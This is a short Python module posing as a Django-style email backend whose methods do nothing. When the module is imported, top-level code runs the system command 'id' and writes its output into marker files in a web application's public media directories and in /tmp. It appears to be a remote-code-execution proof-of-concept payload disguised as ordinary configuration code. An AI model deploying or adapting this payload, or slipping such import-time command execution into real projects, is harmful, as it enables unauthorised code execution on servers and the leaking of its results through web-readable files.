import os, subprocess
_out = b''
try:
    _out = subprocess.check_output(['id'], stderr=subprocess.STDOUT)
except Exception as _e:
    _out = ('ERR %r' % _e).encode()
for _p in ['/var/www/html/criteriacfg/media/time/rce_marker.txt',
           '/var/www/html/criteriacfg/media/rce_marker.txt',
           '/var/www/html/criteriacfg/media/fundos/regulamento/rce_marker.txt',
           '/tmp/rce_marker.txt']:
    try:
        _d = os.path.dirname(_p)
        if _d and not os.path.isdir(_d):
            os.makedirs(_d, exist_ok=True)
        with open(_p, 'wb') as _f:
            _f.write(_out)
    except Exception:
        pass


class EmailBackend(object):
    def __init__(self, *args, **kwargs):
        pass

    def open(self):
        return False

    def close(self):
        return None

    def send_messages(self, email_messages):
        return len(email_messages or [])
